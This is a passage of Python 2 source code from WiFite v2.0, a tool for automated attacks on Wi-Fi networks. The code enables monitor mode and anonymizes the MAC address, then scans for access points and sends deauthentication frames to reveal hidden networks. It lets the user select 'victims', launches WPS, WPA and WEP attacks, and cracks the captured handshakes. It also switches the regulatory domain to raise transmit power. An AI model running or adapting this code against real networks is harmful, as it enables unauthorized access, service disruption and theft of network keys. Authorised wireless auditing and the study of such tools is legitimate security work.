print R + ' [!]' + O + ' airmon-ng requires the program %s\n' % (R + 'iw' + W)

self.RUN\_CONFIG.exit\_gracefully(1)

if not program\_exists('iwconfig'):

print R + ' [!]' + O + ' wifite requires the program %s\n' % (R + 'iwconfig' + W)

self.RUN\_CONFIG.exit\_gracefully(1)

if not program\_exists('ifconfig'):

print R + ' [!]' + O + ' wifite requires the program %s\n' % (R + 'ifconfig' + W)

self.RUN\_CONFIG.exit\_gracefully(1)

printed = False

# Check reaver

if not program\_exists('reaver'):

printed = True

print R + ' [!]' + O + ' the program ' + R + 'reaver' + O + ' is required for WPS attacks' + W

print R + ' ' + O + ' available at ' + C + 'http://code.google.com/p/reaver-wps' + W

self.RUN\_CONFIG.WPS\_DISABLE = True

if not program\_exists('tshark'):

printed = True

print R + ' [!]' + O + ' the program ' + R + 'tshark' + O + ' was not found' + W

print R + ' [!]' + O + ' please install tshark: https://www.wireshark.org/#download' + W

self.RUN\_CONFIG.WPS\_DISABLE = True

# Check handshake-checking apps

recs = ['pyrit', 'cowpatty']

for rec in recs:

if program\_exists(rec): continue

printed = True

print R + ' [!]' + O + ' the program %s is not required, but is recommended%s' % (R + rec + O, W)

if printed: print ''

def enable\_monitor\_mode(self, iface):

"""

First attempts to anonymize the MAC if requested; MACs cannot

be anonymized if they're already in monitor mode.

Uses airmon-ng to put a device into Monitor Mode.

Then uses the get\_iface() method to retrieve the new interface's name.

Sets global variable IFACE\_TO\_TAKE\_DOWN as well.

Returns the name of the interface in monitor mode.

"""

mac\_anonymize(iface)

print GR + ' [+]' + W + ' enabling monitor mode on %s...' % (G + iface + W),

stdout.flush()

call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN)

print 'done'

self.RUN\_CONFIG.WIRELESS\_IFACE = '' # remove this reference as we've started its monitoring counterpart

self.RUN\_CONFIG.IFACE\_TO\_TAKE\_DOWN = self.get\_iface()

if self.RUN\_CONFIG.TX\_POWER > 0:

print GR + ' [+]' + W + ' setting Tx power to %s%s%s...' % (G, self.RUN\_CONFIG.TX\_POWER, W),

call(['iw', 'reg', 'set', 'BO'], stdout=OUTLOG, stderr=ERRLOG)

call(['iwconfig', iface, 'txpower', self.RUN\_CONFIG.TX\_POWER], stdout=OUTLOG, stderr=ERRLOG)

print 'done'

return self.RUN\_CONFIG.IFACE\_TO\_TAKE\_DOWN

def disable\_monitor\_mode(self):

"""

The program may have enabled monitor mode on a wireless interface.

We want to disable this before we exit, so we will do that.

"""

if self.RUN\_CONFIG.IFACE\_TO\_TAKE\_DOWN == '': return

print GR + ' [+]' + W + ' disabling monitor mode on %s...' % (G + self.RUN\_CONFIG.IFACE\_TO\_TAKE\_DOWN + W),

stdout.flush()

call(['airmon-ng', 'stop', self.RUN\_CONFIG.IFACE\_TO\_TAKE\_DOWN], stdout=DN, stderr=DN)

print 'done'

def rtl8187\_fix(self, iface):

"""

Attempts to solve "Unknown error 132" common with RTL8187 devices.

Puts down interface, unloads/reloads driver module, then puts iface back up.

Returns True if fix was attempted, False otherwise.

"""

# Check if current interface is using the RTL8187 chipset

proc\_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)

proc\_airmon.wait()

using\_rtl8187 = False

for line in proc\_airmon.communicate()[0].split():

line = line.upper()

if line.strip() == '' or line.startswith('INTERFACE'): continue

if line.find(iface.upper()) and line.find('RTL8187') != -1: using\_rtl8187 = True

if not using\_rtl8187:

# Display error message and exit

print R + ' [!]' + O + ' unable to generate airodump-ng CSV file' + W

print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W

self.RUN\_CONFIG.exit\_gracefully(1)

print O + " [!]" + W + " attempting " + O + "RTL8187 'Unknown Error 132'" + W + " fix..."

original\_iface = iface

# Take device out of monitor mode

airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN)

airmon.wait()

for line in airmon.communicate()[0].split('\n'):

if line.strip() == '' or \

line.startswith("Interface") or \

line.find('(removed)') != -1:

continue

original\_iface = line.split()[0] # line[:line.find('\t')]

# Remove drive modules, block/unblock ifaces, probe new modules.

print\_and\_exec(['ifconfig', original\_iface, 'down'])

print\_and\_exec(['rmmod', 'rtl8187'])

print\_and\_exec(['rfkill', 'block', 'all'])

print\_and\_exec(['rfkill', 'unblock', 'all'])

print\_and\_exec(['modprobe', 'rtl8187'])

print\_and\_exec(['ifconfig', original\_iface, 'up'])

print\_and\_exec(['airmon-ng', 'start', original\_iface])

print '\r \r',

print O + ' [!] ' + W + 'restarting scan...\n'

return True

def get\_iface(self):

"""

Get the wireless interface in monitor mode.

Defaults to only device in monitor mode if found.

Otherwise, enumerates list of possible wifi devices

and asks user to select one to put into monitor mode (if multiple).

Uses airmon-ng to put device in monitor mode if needed.

Returns the name (string) of the interface chosen in monitor mode.

"""

if not self.RUN\_CONFIG.PRINTED\_SCANNING:

print GR + ' [+]' + W + ' scanning for wireless devices...'

self.RUN\_CONFIG.PRINTED\_SCANNING = True

proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)

iface = ''

monitors = []

adapters = []

for line in proc.communicate()[0].split('\n'):

if len(line) == 0: continue

if ord(line[0]) != 32: # Doesn't start with space

iface = line[:line.find(' ')] # is the interface

if line.find('Mode:Monitor') != -1:

monitors.append(iface)

else:

adapters.append(iface)

if self.RUN\_CONFIG.WIRELESS\_IFACE != '':

if monitors.count(self.RUN\_CONFIG.WIRELESS\_IFACE):

return self.RUN\_CONFIG.WIRELESS\_IFACE

else:

if self.RUN\_CONFIG.WIRELESS\_IFACE in adapters:

# valid adapter, enable monitor mode

print R + ' [!]' + O + ' could not find wireless interface %s in monitor mode' % (

R + '"' + R + self.RUN\_CONFIG.WIRELESS\_IFACE + '"' + O)

return self.enable\_monitor\_mode(self.RUN\_CONFIG.WIRELESS\_IFACE)

else:

# couldnt find the requested adapter

print R + ' [!]' + O + ' could not find wireless interface %s' % (

'"' + R + self.RUN\_CONFIG.WIRELESS\_IFACE + O + '"' + W)

self.RUN\_CONFIG.exit\_gracefully(0)

if len(monitors) == 1:

return monitors[0] # Default to only device in monitor mode

elif len(monitors) > 1:

print GR + " [+]" + W + " interfaces in " + G + "monitor mode:" + W

for i, monitor in enumerate(monitors):

print " %s. %s" % (G + str(i + 1) + W, G + monitor + W)

ri = raw\_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \

(GR, W, G, W, G, len(monitors), W, G))

while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):

ri = raw\_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \

(GR, W, G, len(monitors), W, G))

i = int(ri)

return monitors[i - 1]

proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)

for line in proc.communicate()[0].split('\n'):

if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'): continue

monitors.append(line)

if len(monitors) == 0:

print R + ' [!]' + O + " no wireless interfaces were found." + W

print R + ' [!]' + O + " you need to plug in a wifi device or install drivers.\n" + W

self.RUN\_CONFIG.exit\_gracefully(0)

elif self.RUN\_CONFIG.WIRELESS\_IFACE != '' and monitors.count(self.RUN\_CONFIG.WIRELESS\_IFACE) > 0:

monitor = monitors[0][:monitors[0].find('\t')]

return self.enable\_monitor\_mode(monitor)

elif len(monitors) == 1:

monitor = monitors[0][:monitors[0].find('\t')]

if monitor.startswith('phy'): monitor = monitors[0].split()[1]

return self.enable\_monitor\_mode(monitor)

print GR + " [+]" + W + " available wireless devices:"

for i, monitor in enumerate(monitors):

print " %s%d%s. %s" % (G, i + 1, W, monitor)

ri = raw\_input(

GR + " [+]" + W + " select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))

while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):

ri = raw\_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))

i = int(ri)

monitor = monitors[i - 1][:monitors[i - 1].find('\t')]

return self.enable\_monitor\_mode(monitor)

def scan(self, channel=0, iface='', tried\_rtl8187\_fix=False):

"""

Scans for access points. Asks user to select target(s).

"channel" - the channel to scan on, 0 scans all channels.

"iface" - the interface to scan on. must be a real interface.

"tried\_rtl8187\_fix" - We have already attempted to fix "Unknown error 132"

Returns list of selected targets and list of clients.

"""

airodump\_file\_prefix = os.path.join(self.RUN\_CONFIG.temp, 'wifite')

csv\_file = airodump\_file\_prefix + '-01.csv'

cap\_file = airodump\_file\_prefix + '-01.cap'

remove\_airodump\_files(airodump\_file\_prefix)

command = ['airodump-ng',

'-a', # only show associated clients

'--write-interval', '1', # Write every second

'-w', airodump\_file\_prefix] # output file

if channel != 0:

command.append('-c')

command.append(str(channel))

command.append(iface)

proc = Popen(command, stdout=DN, stderr=DN)

time\_started = time.time()

print GR + ' [+] ' + G + 'initializing scan' + W + ' (' + G + iface + W + '), updates at 1 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.'

(targets, clients) = ([], [])

try:

deauth\_sent = 0.0

old\_targets = []

stop\_scanning = False

while True:

time.sleep(0.3)

if not os.path.exists(csv\_file) and time.time() - time\_started > 1.0:

print R + '\n [!] ERROR!' + W

# RTL8187 Unknown Error 132 FIX

if proc.poll() is not None: # Check if process has finished

proc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE)

if not tried\_rtl8187\_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1:

send\_interrupt(proc)

if self.rtl8187\_fix(iface):

return self.scan(channel=channel, iface=iface, tried\_rtl8187\_fix=True)

print R + ' [!]' + O + ' wifite is unable to generate airodump-ng output files' + W

print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W

self.RUN\_CONFIG.exit\_gracefully(1)

(targets, clients) = self.parse\_csv(csv\_file)

# Remove any already cracked networks if configured to do so

if self.RUN\_CONFIG.SHOW\_ALREADY\_CRACKED == False:

index = 0

while index < len(targets):

already = False

for cracked in self.RUN\_CONFIG.CRACKED\_TARGETS:

if targets[index].ssid.lower() == cracked.ssid.lower():

already = True

if targets[index].bssid.lower() == cracked.bssid.lower():

already = True

if already == True:

targets.pop(index)

index -= 1

index += 1

# If we are targeting a specific ESSID/BSSID, skip the scan once we find it.

if self.RUN\_CONFIG.TARGET\_ESSID != '':

for t in targets:

if t.ssid.lower() == self.RUN\_CONFIG.TARGET\_ESSID.lower():

send\_interrupt(proc)

try:

os.kill(proc.pid, SIGTERM)

except OSError:

pass

except UnboundLocalError:

pass

targets = [t]

stop\_scanning = True

break

if self.RUN\_CONFIG.TARGET\_BSSID != '':

for t in targets:

if t.bssid.lower() == self.RUN\_CONFIG.TARGET\_BSSID.lower():

send\_interrupt(proc)

try:

os.kill(proc.pid, SIGTERM)

except OSError:

pass

except UnboundLocalError:

pass

targets = [t]

stop\_scanning = True

break

# If user has chosen to target all access points, wait 20 seconds, then return all

if self.RUN\_CONFIG.ATTACK\_ALL\_TARGETS and time.time() - time\_started > 10:

print GR + '\n [+]' + W + ' auto-targeted %s%d%s access point%s' % (

G, len(targets), W, '' if len(targets) == 1 else 's')

stop\_scanning = True

if self.RUN\_CONFIG.ATTACK\_MIN\_POWER > 0 and time.time() - time\_started > 10:

# Remove targets with power < threshold

i = 0

before\_count = len(targets)

while i < len(targets):

if targets[i].power < self.RUN\_CONFIG.ATTACK\_MIN\_POWER:

targets.pop(i)

else:

i += 1

print GR + '\n [+]' + W + ' removed %s targets with power < %ddB, %s remain' % \

(G + str(before\_count - len(targets)) + W,

self.RUN\_CONFIG.ATTACK\_MIN\_POWER, G + str(len(targets)) + W)

stop\_scanning = True

if stop\_scanning: break

# If there are unknown SSIDs, send deauths to them.

if self.RUN\_CONFIG.SEND\_DEAUTHS and channel != 0 and time.time() - deauth\_sent > 5:

deauth\_sent = time.time()

for t in targets:

if t.ssid == '' or '\x00' in t.ssid or '\\x00' in t.ssid:

print "\r %s deauthing hidden access point (%s) \r" % \

(GR + sec\_to\_hms(time.time() - time\_started) + W, G + t.bssid + W),

stdout.flush()

# Time to deauth

cmd = ['aireplay-ng',

'--ignore-negative-one',

'--deauth', str(self.RUN\_CONFIG.WPA\_DEAUTH\_COUNT),

'-a', t.bssid]

for c in clients:

if c.station == t.bssid:

cmd.append('-c')

cmd.append(c.bssid)

break

cmd.append(iface)

proc\_aireplay = Popen(cmd, stdout=DN, stderr=DN)

proc\_aireplay.wait()

time.sleep(0.5)

else:

for ot in old\_targets:

if ot.ssid == '' and ot.bssid == t.bssid:

print '\r %s successfully decloaked "%s" ' % \

(GR + sec\_to\_hms(time.time() - time\_started) + W, G + t.ssid + W)

old\_targets = targets[:]

if self.RUN\_CONFIG.VERBOSE\_APS and len(targets) > 0:

targets = sorted(targets, key=lambda t: t.power, reverse=True)

if not self.RUN\_CONFIG.WPS\_DISABLE:

wps\_check\_targets(targets, cap\_file, verbose=False)

os.system('clear')

print GR + '\n [+] ' + G + 'scanning' + W + ' (' + G + iface + W + '), updates at 1 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.\n'

print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % (

'BSSID ' if self.RUN\_CONFIG.SHOW\_MAC\_IN\_SCAN else '')

print ' --- -------------------- %s-- ---- ----- ---- ------' % (

'----------------- ' if self.RUN\_CONFIG.SHOW\_MAC\_IN\_SCAN else '')

for i, target in enumerate(targets):

print " %s%2d%s " % (G, i + 1, W),

# SSID

if target.ssid == '' or '\x00' in target.ssid or '\\x00' in target.ssid:

p = O + '(' + target.bssid + ')' + GR + ' ' + W

print '%s' % p.ljust(20),

elif len(target.ssid) <= 20:

print "%s" % C + target.ssid.ljust(20) + W,

else:

print "%s" % C + target.ssid[0:17] + '...' + W,

# BSSID

if self.RUN\_CONFIG.SHOW\_MAC\_IN\_SCAN:

print O, target.bssid + W,

# Channel

print G + target.channel.rjust(3), W,

# Encryption

if target.encryption.find("WEP") != -1:

print G,

else:

print O,

print "\b%3s" % target.encryption.strip().ljust(4) + W,

# Power

if target.power >= 55:

col = G

elif target.power >= 40:

col = O

else:

col = R

print "%s%3ddb%s" % (col, target.power, W),

# WPS

if self.RUN\_CONFIG.WPS\_DISABLE:

print " %3s" % (O + 'n/a' + W),

else:

print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),

# Clients

client\_text = ''

for c in clients:

if c.station == target.bssid:

if client\_text == '':

client\_text = 'client'

elif client\_text[-1] != "s":

client\_text += "s"

if client\_text != '':

print ' %s' % (G + client\_text + W)

else:

print ''

print ''

print ' %s %s wireless networks. %s target%s and %s client%s found \r' % (

GR + sec\_to\_hms(time.time() - time\_started) + W, G + 'scanning' + W,

G + str(len(targets)) + W, '' if len(targets) == 1 else 's',

G + str(len(clients)) + W, '' if len(clients) == 1 else 's'),

stdout.flush()

except KeyboardInterrupt:

pass

print ''

send\_interrupt(proc)

try:

os.kill(proc.pid, SIGTERM)

except OSError:

pass

except UnboundLocalError:

pass

# Use "tshark" program to check for WPS compatibility

if not self.RUN\_CONFIG.WPS\_DISABLE:

wps\_check\_targets(targets, cap\_file)

remove\_airodump\_files(airodump\_file\_prefix)

if stop\_scanning:

return (targets, clients)

print ''

if len(targets) == 0:

print R + ' [!]' + O + ' no targets found!' + W

print R + ' [!]' + O + ' you may need to wait for targets to show up.' + W

print ''

self.RUN\_CONFIG.exit\_gracefully(1)

if self.RUN\_CONFIG.VERBOSE\_APS: os.system('clear')

# Sort by Power

targets = sorted(targets, key=lambda t: t.power, reverse=True)

victims = []

print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % (

'BSSID ' if self.RUN\_CONFIG.SHOW\_MAC\_IN\_SCAN else '')

print ' --- -------------------- %s-- ---- ----- ---- ------' % (

'----------------- ' if self.RUN\_CONFIG.SHOW\_MAC\_IN\_SCAN else '')

for i, target in enumerate(targets):

print " %s%2d%s " % (G, i + 1, W),

# SSID

if target.ssid == '' or '\x00' in target.ssid or '\\x00' in target.ssid:

p = O + '(' + target.bssid + ')' + GR + ' ' + W

print '%s' % p.ljust(20),

elif len(target.ssid) <= 20:

print "%s" % C + target.ssid.ljust(20) + W,

else:

print "%s" % C + target.ssid[0:17] + '...' + W,

# BSSID

if self.RUN\_CONFIG.SHOW\_MAC\_IN\_SCAN:

print O, target.bssid + W,

# Channel

print G + target.channel.rjust(3), W,

# Encryption

if target.encryption.find("WEP") != -1:

print G,

else:

print O,

print "\b%3s" % target.encryption.strip().ljust(4) + W,

# Power

if target.power >= 55:

col = G

elif target.power >= 40:

col = O

else:

col = R

print "%s%3ddb%s" % (col, target.power, W),

# WPS

if self.RUN\_CONFIG.WPS\_DISABLE:

print " %3s" % (O + 'n/a' + W),

else:

print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),

# Clients

client\_text = ''

for c in clients:

if c.station == target.bssid:

if client\_text == '':

client\_text = 'client'

elif client\_text[-1] != "s":

client\_text += "s"

if client\_text != '':

print ' %s' % (G + client\_text + W)

else:

print ''

ri = raw\_input(

GR + "\n [+]" + W + " select " + G + "target numbers" + W + " (" + G + "1-%s)" % (str(len(targets)) + W) + \

" separated by commas, or '%s': " % (G + 'all' + W))

if ri.strip().lower() == 'all':

victims = targets[:]

else:

for r in ri.split(','):

r = r.strip()

if r.find('-') != -1:

(sx, sy) = r.split('-')

if sx.isdigit() and sy.isdigit():

x = int(sx)

y = int(sy) + 1

for v in xrange(x, y):

victims.append(targets[v - 1])

elif not r.isdigit() and r.strip() != '':

print O + " [!]" + R + " not a number: %s " % (O + r + W)

elif r != '':

victims.append(targets[int(r) - 1])

if len(victims) == 0:

print O + '\n [!] ' + R + 'no targets selected.\n' + W

self.RUN\_CONFIG.exit\_gracefully(0)

print ''

print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's')

return (victims, clients)

def Start(self):

self.RUN\_CONFIG.CreateTempFolder()

self.RUN\_CONFIG.handle\_args()

self.RUN\_CONFIG.ConfirmRunningAsRoot()

self.RUN\_CONFIG.ConfirmCorrectPlatform()

self.initial\_check() # Ensure required programs are installed.

# Use an interface already in monitor mode if it has been provided,

if self.RUN\_CONFIG.MONITOR\_IFACE != '':

iface = self.RUN\_CONFIG.MONITOR\_IFACE

else:

# The "get\_iface" method anonymizes the MAC address (if needed)

# and puts the interface into monitor mode.

iface = self.get\_iface()

self.RUN\_CONFIG.THIS\_MAC = get\_mac\_address(iface) # Store current MAC address

(targets, clients) = self.scan(iface=iface, channel=self.RUN\_CONFIG.TARGET\_CHANNEL)

try:

index = 0

while index < len(targets):

target = targets[index]

# Check if we have already cracked this target

for already in RUN\_CONFIG.CRACKED\_TARGETS:

if already.bssid == targets[index].bssid:

if RUN\_CONFIG.SHOW\_ALREADY\_CRACKED == True:

print R + '\n [!]' + O + ' you have already cracked this access point\'s key!' + W

print R + ' [!] %s' % (C + already.ssid + W + ': "' + G + already.key + W + '"')

ri = raw\_input(

GR + ' [+] ' + W + 'do you want to crack this access point again? (' + G + 'y/' + O + 'n' + W + '): ')

if ri.lower() == 'n':

targets.pop(index)

index -= 1

else:

targets.pop(index)

index -= 1

break

# Check if handshakes already exist, ask user whether to skip targets or save new handshakes

handshake\_file = RUN\_CONFIG.WPA\_HANDSHAKE\_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \

+ '\_' + target.bssid.replace(':', '-') + '.cap'

if os.path.exists(handshake\_file):

print R + '\n [!] ' + O + 'you already have a handshake file for %s:' % (C + target.ssid + W)

print ' %s\n' % (G + handshake\_file + W)

print GR + ' [+]' + W + ' do you want to ' + G + '[s]kip' + W + ', ' + O + '[c]apture again' + W + ', or ' + R + '[o]verwrite' + W + '?'

ri = 'x'

while ri != 's' and ri != 'c' and ri != 'o':

ri = raw\_input(

GR + ' [+] ' + W + 'enter ' + G + 's' + W + ', ' + O + 'c,' + W + ' or ' + R + 'o' + W + ': ' + G).lower()

print W + "\b",

if ri == 's':

targets.pop(index)

index -= 1

elif ri == 'o':

remove\_file(handshake\_file)

continue

index += 1

except KeyboardInterrupt:

print '\n ' + R + '(^C)' + O + ' interrupted\n'

self.RUN\_CONFIG.exit\_gracefully(0)

wpa\_success = 0

wep\_success = 0

wpa\_total = 0

wep\_total = 0

self.RUN\_CONFIG.TARGETS\_REMAINING = len(targets)

for t in targets:

self.RUN\_CONFIG.TARGETS\_REMAINING -= 1

# Build list of clients connected to target

ts\_clients = []

for c in clients:

if c.station == t.bssid:

ts\_clients.append(c)

print ''

if t.encryption.find('WPA') != -1:

need\_handshake = True

if not self.RUN\_CONFIG.WPS\_DISABLE and t.wps:

wps\_attack = WPSAttack(iface, t, self.RUN\_CONFIG)

need\_handshake = not wps\_attack.RunAttack()

wpa\_total += 1

if not need\_handshake: wpa\_success += 1

if self.RUN\_CONFIG.TARGETS\_REMAINING < 0: break

if not self.RUN\_CONFIG.PIXIE and not self.RUN\_CONFIG.WPA\_DISABLE and need\_handshake:

wpa\_total += 1

wpa\_attack = WPAAttack(iface, t, ts\_clients, self.RUN\_CONFIG)

if wpa\_attack.RunAttack():

wpa\_success += 1

elif t.encryption.find('WEP') != -1:

wep\_total += 1

wep\_attack = WEPAttack(iface, t, ts\_clients, self.RUN\_CONFIG)

if wep\_attack.RunAttack():

wep\_success += 1

else:

print R + ' unknown encryption:', t.encryption, W

# If user wants to stop attacking

if self.RUN\_CONFIG.TARGETS\_REMAINING <= 0: break

if wpa\_total + wep\_total > 0:

# Attacks are done! Show results to user

print ''

print GR + ' [+] %s%d attack%s completed:%s' % (

G, wpa\_total + wep\_total, '' if wpa\_total + wep\_total == 1 else 's', W)

print ''

if wpa\_total > 0:

if wpa\_success == 0:

print GR + ' [+]' + R,

elif wpa\_success == wpa\_total:

print GR + ' [+]' + G,

else:

print GR + ' [+]' + O,

print '%d/%d%s WPA attacks succeeded' % (wpa\_success, wpa\_total, W)

for finding in self.RUN\_CONFIG.WPA\_FINDINGS:

print ' ' + C + finding + W

if wep\_total > 0:

if wep\_success == 0:

print GR + ' [+]' + R,

elif wep\_success == wep\_total:

print GR + ' [+]' + G,

else:

print GR + ' [+]' + O,

print '%d/%d%s WEP attacks succeeded' % (wep\_success, wep\_total, W)

for finding in self.RUN\_CONFIG.WEP\_FINDINGS:

print ' ' + C + finding + W

caps = len(self.RUN\_CONFIG.WPA\_CAPS\_TO\_CRACK)

if caps > 0 and not self.RUN\_CONFIG.WPA\_DONT\_CRACK:

print GR + ' [+]' + W + ' starting ' + G + 'WPA cracker' + W + ' on %s%d handshake%s' % (

G, caps, W if caps == 1 else 's' + W)

for cap in self.RUN\_CONFIG.WPA\_CAPS\_TO\_CRACK:

wpa\_crack(cap, self.RUN\_CONFIG)

print ''

self.RUN\_CONFIG.exit\_gracefully(0)

def parse\_csv(self, filename):

"""

Parses given lines from airodump-ng CSV file.

Returns tuple: List of targets and list of clients.

"""

if not os.path.exists(filename): return ([], [])

targets = []

clients = []

try:

hit\_clients = False

with open(filename, 'rb') as csvfile:

targetreader = csv.reader((line.replace('\0', '') for line in csvfile), delimiter=',')

for row in targetreader:

if len(row) < 2:

continue

if not hit\_clients:

if row[0].strip() == 'Station MAC':

hit\_clients = True

continue

if len(row) < 14:

continue

if row[0].strip() == 'BSSID':

continue

enc = row[5].strip()

wps = False

# Ignore non-WPA and non-WEP encryption

if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue

if self.RUN\_CONFIG.WEP\_DISABLE and enc.find('WEP') != -1: continue

if self.RUN\_CONFIG.WPA\_DISABLE and self.RUN\_CONFIG.WPS\_DISABLE and enc.find(

'WPA') != -1: continue

if enc == "WPA2WPA" or enc == "WPA2 WPA":

enc = "WPA2"

wps = True

if len(enc) > 4:

enc = enc[4:].strip()

power = int(row[8].strip())

ssid = row[13].strip()

ssidlen = int(row[12].strip())

ssid = ssid[:ssidlen]

if power < 0: power += 100

t = Target(row[0].strip(), power, row[10].strip(), row[3].strip(), enc, ssid)

t.wps = wps

targets.append(t)

else:

if len(row) < 6:

continue

bssid = re.sub(r'[^a-zA-Z0-9:]', '', row[0].strip())

station = re.sub(r'[^a-zA-Z0-9:]', '', row[5].strip())

power = row[3].strip()

if station != 'notassociated':

c = Client(bssid, station, power)

clients.append(c)

except IOError as e:

print "I/O error({0}): {1}".format(e.errno, e.strerror)

return ([], [])

return (targets, clients)

def analyze\_capfile(self, capfile):

"""

Analyzes given capfile for handshakes using various programs.

Prints results to console.

"""

# we're not running an attack

wpa\_attack = WPAAttack(None, None, None, None)

if self.RUN\_CONFIG.TARGET\_ESSID == '' and self.RUN\_CONFIG.TARGET\_BSSID == '':

print R + ' [!]' + O + ' target ssid and bssid are required to check for handshakes'

print R + ' [!]' + O + ' please enter essid (access point name) using -e <name>'

print R + ' [!]' + O + ' and/or target bssid (mac address) using -b <mac>\n'

# exit\_gracefully(1)

if self.RUN\_CONFIG.TARGET\_BSSID == '':

# Get the first BSSID found in tshark!

self.RUN\_CONFIG.TARGET\_BSSID = get\_bssid\_from\_cap(self.RUN\_CONFIG.TARGET\_ESSID, capfile)

# if TARGET\_BSSID.find('->') != -1: TARGET\_BSSID == ''

if self.RUN\_CONFIG.TARGET\_BSSID == '':

print R + ' [!]' + O + ' unable to guess BSSID from ESSID!'

else:

print GR + ' [+]' + W + ' guessed bssid: %s' % (G + self.RUN\_CONFIG.TARGET\_BSSID + W)

if self.RUN\_CONFIG.TARGET\_BSSID != '' and self.RUN\_CONFIG.TARGET\_ESSID == '':

self.RUN\_CONFIG.TARGET\_ESSID = get\_essid\_from\_cap(self.RUN\_CONFIG.TARGET\_BSSID, capfile)

print GR + '\n [+]' + W + ' checking for handshakes in %s' % (G + capfile + W)

t = Target(self.RUN\_CONFIG.TARGET\_BSSID, '', '', '', 'WPA', self.RUN\_CONFIG.TARGET\_ESSID)

if program\_exists('pyrit'):

result = wpa\_attack.has\_handshake\_pyrit(t, capfile)

print GR + ' [+]' + W + ' ' + G + 'pyrit' + W + ':\t\t\t %s' % (

G + 'found!' + W if result else O + 'not found' + W)

else:

print R + ' [!]' + O + ' program not found: pyrit'

if program\_exists('cowpatty'):

result = wpa\_attack.has\_handshake\_cowpatty(t, capfile, nonstrict=True)

print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (nonstrict):\t %s' % (

G + 'found!' + W if result else O + 'not found' + W)

result = wpa\_attack.has\_handshake\_cowpatty(t, capfile, nonstrict=False)

print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (strict):\t %s' % (

G + 'found!' + W if result else O + 'not found' + W)

else:

print R + ' [!]' + O + ' program not found: cowpatty'

if program\_exists('tshark'):

result = wpa\_attack.has\_handshake\_tshark(t, capfile)

print GR + ' [+]' + W + ' ' + G + 'tshark' + W + ':\t\t\t %s' % (

G + 'found!' + W if result else O + 'not found' + W)

else:

print R + ' [!]' + O + ' program not found: tshark'

if program\_exists('aircrack-ng'):

result = wpa\_attack.has\_handshake\_aircrack(t, capfile)

print GR + ' [+]' + W + ' ' + G + 'aircrack-ng' + W + ':\t\t %s' % (

G + 'found!' + W if result else O + 'not found' + W)

else:

print R + ' [!]' + O + ' program not found: aircrack-ng'

print ''

self.RUN\_CONFIG.exit\_gracefully(0)

##################

# MAIN FUNCTIONS #

##################

##############################################################

### End Classes

def rename(old, new):

"""

Renames file 'old' to 'new', works with separate partitions.

Thanks to hannan.sadar

"""

try:

os.rename(old, new)

except os.error, detail:

if detail.errno == errno.EXDEV:

try:

copy(old, new)

except:

os.unlink(new)

raise

os.unlink(old)

# if desired, deal with other errors

else:

raise

def banner(RUN\_CONFIG):

"""

Displays ASCII art of the highest caliber.

"""

print ''

print G + " .;' `;, "

print G + " .;' ,;' `;, `;, " + W + "WiFite v2.0 (r" + str(RUN\_CONFIG.REVISION) + ")"

print G + ".;' ,;' ,;' `;, `;, `;, "

print G + ":: :: : " + GR + "( )" + G + " : :: :: " + GR + "automated wireless auditor"

print G + "':. ':. ':. " + GR + "/\_\\" + G + " ,:' ,:' ,:' "

print G + " ':. ':. " + GR + "/\_\_\_\\" + G + " ,:' ,:' " + G + "try the new version:"

print G + " ':. " + GR + "/\_\_\_\_\_\\" + G + " ,:' " + C + "https://github.com/derv82/wifite2"

print G + " " + GR + "/ \\" + G + " "

print W

def help():

"""

Prints help screen

"""

head = W

sw = G

var = GR

des = W

de = G

print head + ' COMMANDS' + W

print sw + '\t-check ' + var + '<file>\t' + des + 'check capfile ' + var + '<file>' + des + ' for handshakes.' + W

print sw + '\t-cracked \t' + des + 'display previously-cracked access points' + W

print sw + '\t-recrack \t' + des + 'allow recracking of previously cracked access points' + W

print ''

print head + ' GLOBAL' + W

print sw + '\t-all \t' + des + 'attack all targets. ' + de + '[off]' + W

#print sw+'\t-pillage \t'+des+'attack all targets in a looping fashion.'+de+'[off]'+W

print sw + '\t-i ' + var + '<iface> \t' + des + 'wireless interface for capturing ' + de + '[auto]' + W

print sw + '\t-mon-iface ' + var + '<monitor\_interface> \t' + des + 'interface in monitor mode for capturing ' + de + '[auto]' + W

print sw + '\t-mac \t' + des + 'anonymize mac address ' + de + '[off]' + W

print sw + '\t-c ' + var + '<channel>\t' + des + 'channel to scan for targets ' + de + '[auto]' + W

print sw + '\t-e ' + var + '<essid> \t' + des + 'target a specific access point by ssid (name) ' + de + '[ask]' + W

print sw + '\t-b ' + var + '<bssid> \t' + des + 'target a specific access point by bssid (mac) ' + de + '[auto]' + W

print sw + '\t-showb \t' + des + 'display target BSSIDs after scan ' + de + '[off]' + W

print sw + '\t-pow ' + var + '<db> \t' + des + 'attacks any targets with signal strenghth > ' + var + 'db ' + de + '[0]' + W

print sw + '\t-quiet \t' + des + 'do not print list of APs during scan ' + de + '[off]' + W

print ''

print head + '\n WPA' + W

print sw + '\t-wpa \t' + des + 'only target WPA networks (works with -wps -wep) ' + de + '[off]' + W

